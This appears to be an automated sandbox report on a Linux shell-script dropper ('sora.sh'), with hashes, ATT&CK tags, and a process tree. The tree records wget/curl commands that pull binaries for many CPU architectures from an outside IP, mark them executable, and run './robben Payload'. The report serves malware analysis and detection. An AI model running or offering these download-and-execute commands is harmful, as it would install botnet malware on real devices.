Analysis

  • max time kernel
    21s
  • max time network
    22s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-07-2024 10:40

General

  • Target

    103.162.20.166-sora.sh-2024-06-28T114030.sh

  • Size

    1KB

  • MD5

    03886bf0d399576fcb6db8c11fcbe06d

  • SHA1

    14aee1089d0cf3283da30aa045a454109d1a1c9f

  • SHA256

    19e122301b598e2a4a36b685887b7a2c238debfd310fd66b7d719d6454ec6ed2

  • SHA512

    8e809a3f916b198d808b61dc2da812c57d36f960a0800b61b2a3ae047c74220dbaa6b0e1c19f421101c831de54b7218204e3447b162c739917ca34d297be178c

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 10 IoCs
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 20 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/103.162.20.166-sora.sh-2024-06-28T114030.sh
    /tmp/103.162.20.166-sora.sh-2024-06-28T114030.sh
    1⤵
    • Writes file to tmp directory
    PID:637
    • /usr/bin/wget
      wget http://103.162.20.166/bins/sora.x86
      2⤵
        PID:639
      • /usr/bin/curl
        curl -O http://103.162.20.166/bins/sora.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:665
      • /bin/cat
        cat sora.x86
        2⤵
          PID:668
        • /bin/chmod
          chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
          2⤵
            PID:669
          • /tmp/robben
            ./robben Payload
            2⤵
            • Executes dropped EXE
            PID:670
          • /usr/bin/wget
            wget http://103.162.20.166/bins/sora.mips
            2⤵
              PID:671
            • /usr/bin/curl
              curl -O http://103.162.20.166/bins/sora.mips
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:682
            • /bin/cat
              cat sora.mips
              2⤵
                PID:695
              • /bin/chmod
                chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.mips sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                2⤵
                  PID:697
                • /tmp/robben
                  ./robben Payload
                  2⤵
                  • Executes dropped EXE
                  PID:699
                • /usr/bin/wget
                  wget http://103.162.20.166/bins/sora.mpsl
                  2⤵
                    PID:700
                  • /usr/bin/curl
                    curl -O http://103.162.20.166/bins/sora.mpsl
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:716
                  • /bin/cat
                    cat sora.mpsl
                    2⤵
                      PID:723
                    • /bin/chmod
                      chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                      2⤵
                        PID:724
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        PID:725
                      • /usr/bin/wget
                        wget http://103.162.20.166/bins/sora.arm4
                        2⤵
                          PID:726
                        • /usr/bin/curl
                          curl -O http://103.162.20.166/bins/sora.arm4
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:732
                        • /bin/cat
                          cat sora.arm4
                          2⤵
                            PID:745
                          • /bin/chmod
                            chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                            2⤵
                              PID:747
                            • /tmp/robben
                              ./robben Payload
                              2⤵
                              • Executes dropped EXE
                              PID:748
                            • /usr/bin/wget
                              wget http://103.162.20.166/bins/sora.arm5
                              2⤵
                                PID:749
                              • /usr/bin/curl
                                curl -O http://103.162.20.166/bins/sora.arm5
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:762
                              • /bin/cat
                                cat sora.arm5
                                2⤵
                                  PID:763
                                • /bin/chmod
                                  chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                                  2⤵
                                    PID:764
                                  • /tmp/robben
                                    ./robben Payload
                                    2⤵
                                    • Executes dropped EXE
                                    PID:765
                                  • /usr/bin/wget
                                    wget http://103.162.20.166/bins/sora.arm6
                                    2⤵
                                      PID:766
                                    • /usr/bin/curl
                                      curl -O http://103.162.20.166/bins/sora.arm6
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:767
                                    • /bin/cat
                                      cat sora.arm6
                                      2⤵
                                        PID:768
                                      • /bin/chmod
                                        chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                                        2⤵
                                          PID:769
                                        • /tmp/robben
                                          ./robben Payload
                                          2⤵
                                          • Executes dropped EXE
                                          PID:770
                                        • /usr/bin/wget
                                          wget http://103.162.20.166/bins/sora.arm7
                                          2⤵
                                            PID:771
                                          • /usr/bin/curl
                                            curl -O http://103.162.20.166/bins/sora.arm7
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:772
                                          • /bin/cat
                                            cat sora.arm7
                                            2⤵
                                              PID:773
                                            • /bin/chmod
                                              chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.mips sora.mpsl sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                                              2⤵
                                                PID:774
                                              • /tmp/robben
                                                ./robben Payload
                                                2⤵
                                                • Executes dropped EXE
                                                PID:775
                                              • /usr/bin/wget
                                                wget http://103.162.20.166/bins/sora.ppc
                                                2⤵
                                                  PID:776
                                                • /usr/bin/curl
                                                  curl -O http://103.162.20.166/bins/sora.ppc
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:777
                                                • /bin/cat
                                                  cat sora.ppc
                                                  2⤵
                                                    PID:780
                                                  • /bin/chmod
                                                    chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.mips sora.mpsl sora.ppc sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                                                    2⤵
                                                      PID:781
                                                    • /tmp/robben
                                                      ./robben Payload
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:782
                                                    • /usr/bin/wget
                                                      wget http://103.162.20.166/bins/sora.m68k
                                                      2⤵
                                                        PID:783
                                                      • /usr/bin/curl
                                                        curl -O http://103.162.20.166/bins/sora.m68k
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:784
                                                      • /bin/cat
                                                        cat sora.m68k
                                                        2⤵
                                                          PID:785
                                                        • /bin/chmod
                                                          chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.m68k sora.mips sora.mpsl sora.ppc sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                                                          2⤵
                                                            PID:786
                                                          • /tmp/robben
                                                            ./robben Payload
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:787
                                                          • /usr/bin/wget
                                                            wget http://103.162.20.166/bins/sora.sh4
                                                            2⤵
                                                              PID:788
                                                            • /usr/bin/curl
                                                              curl -O http://103.162.20.166/bins/sora.sh4
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:789
                                                            • /bin/cat
                                                              cat sora.sh4
                                                              2⤵
                                                                PID:790
                                                              • /bin/chmod
                                                                chmod +x 103.162.20.166-sora.sh-2024-06-28T114030.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.m68k sora.mips sora.mpsl sora.ppc sora.sh4 sora.x86 systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-x8DGkZ
                                                                2⤵
                                                                  PID:791
                                                                • /tmp/robben
                                                                  ./robben Payload
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:792

                                                              Network

                                                              MITRE ATT&CK Matrix ATT&CK v13

                                                              Defense Evasion

                                                              Virtualization/Sandbox Evasion

                                                              1
                                                              T1497

                                                              Discovery

                                                              Virtualization/Sandbox Evasion

                                                              1
                                                              T1497

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /tmp/robben
                                                                Filesize

                                                                212B

                                                                MD5

                                                                5d25722cdfdb2e5f4ae4533a926cedbe

                                                                SHA1

                                                                38551d63ca7fbddb3edbdf6eae22a68356815a0d

                                                                SHA256

                                                                4c715b09d04887f708de1f67469f0889ec0c95a748cd7bc56acfaa6b61d87210

                                                                SHA512

                                                                f400a8f2307ce476e697aef0d0190f6fc718c551b8371a439919144288010798a12bed94c7bcaf09257c312779bc449f67f67bffb2f59437f72127ed3ce7fcf2

                                                              • /tmp/robben
                                                                Filesize

                                                                212B

                                                                MD5

                                                                9ba9b146a72f73439174053694eeac60

                                                                SHA1

                                                                afda1e855e493c7da6dcdc69cd5fc0e0ca258ceb

                                                                SHA256

                                                                1fc8d778a2b5af0ae5b6c16ec9868f314b5c2f6b61c309ab3723a9f61d557c1d

                                                                SHA512

                                                                3f1e75f36e90ed1212556733dcaab4a982621038679aea10f8601e27ff140ae4a8229c045b42cc395eca586805279039bef83a9e4c92a3067a7f74d1ddb80d17

                                                              • /tmp/robben
                                                                Filesize

                                                                212B

                                                                MD5

                                                                45e588171939a0780c48755918b1cd74

                                                                SHA1

                                                                6c33e64b1a43fb6752026fd1254cac740e7c3243

                                                                SHA256

                                                                770e501d0a52805862fd689d9832d9001926093503ddeb42bf28826c3509c535

                                                                SHA512

                                                                fe414d5969a9cc3fb54e26ea145ac31f8114988821c5c30a18b5f3f2a74b5c9146764bd17746d49c1d823a885043ef1d2b4b359503fc5f8dbe818cb978789770

                                                              • /tmp/robben
                                                                Filesize

                                                                212B

                                                                MD5

                                                                f734b1844820ab008c1a5f6792aa4a3e

                                                                SHA1

                                                                3a2cdbbe16b44882220cd0f95623a93edbd1cf04

                                                                SHA256

                                                                c456f2c2416ab494d8a1895f280d1eaa7ddbd5b398c45dd16e4964d4a64890f7

                                                                SHA512

                                                                e0e8beafec237a68be332654e9b21c01594b54137aa73721c50e2a7a19c4837bbe9acad744315f6c17744538c37edd7277139e7ae9cf710912dafadc88bbda4e

                                                              • /tmp/robben
                                                                Filesize

                                                                212B

                                                                MD5

                                                                e1ef1cce20af75dc2ab76c9a2966405b

                                                                SHA1

                                                                cce6f8372b89b58bdcb3318715792cb3f74f8574

                                                                SHA256

                                                                261d3eb28f0af43392f33228fcf2af3219fb192969d2e6f7e760aa1b1ed17c21

                                                                SHA512

                                                                3eb6a053043e8ca4882075da8c2a2cb59aad374ec9f0e85f7d4a4d96345ec334ba5fbb66149dfb25d6657fa77b7f9458fea0b4278a3f24b3d06f3d9b9372d884

                                                              • /tmp/sora.x86
                                                                Filesize

                                                                211B

                                                                MD5

                                                                84f10f166d89a58dd5da78b6aa2383b3

                                                                SHA1

                                                                7ea0dd34f3426120459f7720018881f6bb58d7b7

                                                                SHA256

                                                                a3c413b60509b57aaffa4012b5dabc23a2114bac559aad32dcab706ec6825446

                                                                SHA512

                                                                25f58b852b1f6caf8d7ebb85cedadfe3dc963d2fdddb7c61ab6bc2b228d712bfb166a69c9187ede5225b9fd65881b2a3573e49a2d3a112df769ec4d3d5d7ffe9